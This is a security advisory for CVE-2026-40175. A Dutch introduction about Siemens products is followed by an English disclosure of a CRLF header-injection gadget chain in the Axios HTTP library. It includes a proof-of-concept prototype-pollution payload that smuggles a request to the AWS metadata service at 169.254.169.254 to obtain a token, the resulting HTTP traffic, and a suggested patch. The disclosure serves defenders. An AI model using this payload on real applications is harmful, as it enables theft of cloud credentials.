CVE-2026-40175

Siemens heeft kwetsbaarheden verholpen in verschillende (OT-)producten. Het gaat onder andere om producten in de Siemens RUGGEDCOM-, SCALANCE-, SIMATIC-, SIMIT-, SINAMICS-, SIPROTEC-, SENTRON- en Solid Edge-productreeksen.

Siemens gPROMS Web Applications Publisher (gWAP) is affected by a remote code execution vulnerability introduced through a third-party component, namely the Axios HTTP client library. The vulnerability stems from a specific "Gadget" attack chain that allows prototype pollution in other third-party libraries, potentially allowing an attacker to execute arbitrary code. Siemens has released a new version for gWAP and recommends to update to the latest version.

# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain ## Summary The Axios library is vulnerable to a specific gadget-style attack chain in which **prototype pollution** in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests. Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (`\r\n`) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain. **Severity**: Moderate (CVSS 3.1 Base Score: 4.8) **Affected Versions**: All versions (v0.x - v1.x) **Vulnerable Component**: `lib/adapters/http.js` (Header Processing) ## Usage of \"Helper\" Vulnerabilities This issue requires a separate **prototype pollution** vulnerability in another library in the application stack (for example, `qs`, `minimist`, `ini`, or `body-parser`). If an attacker can pollute `Object.prototype`, Axios may pick up the polluted properties during config merge. Because Axios does not sanitise these merged header values for CRLF (`\r\n`) characters, the polluted property can alter the structure of an outbound HTTP request. ## Proof of Concept ### 1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: ```javascript Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\"; ``` ### 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: ```javascript // This looks safe to the developer await axios.get('https://analytics.internal/pings'); ``` ### 3. The Execution Axios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation. **Resulting HTTP traffic:** ```http GET /pings HTTP/1.1 Host: analytics.internal x-amz-target: dummy PUT /latest/api/token HTTP/1.1 Host: 169.254.169.254 X-aws-ec2-metadata-token-ttl-seconds: 21600 GET /ignore HTTP/1.1 ... ``` ### 4. The Impact In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive. ## Impact Analysis - **Confidentiality**: May expose limited sensitive information in affected network environments. - **Integrity**: May allow modification of outbound request structure or injected headers. - **Attack Complexity**: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service. ## Recommended Fix Validate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function. **Patch Suggestion:** ```javascript // In lib/adapters/http.js utils.forEach(requestHeaders, function setRequestHeader(val, key) { if (/[\r\n]/.test(val)) { throw new Error('Security: Header value contains invalid characters'); } // ... proceed to set header }); ``` ## References - **OWASP**: CRLF Injection (CWE-113) This report was generated as part of a security audit of the Axios library.
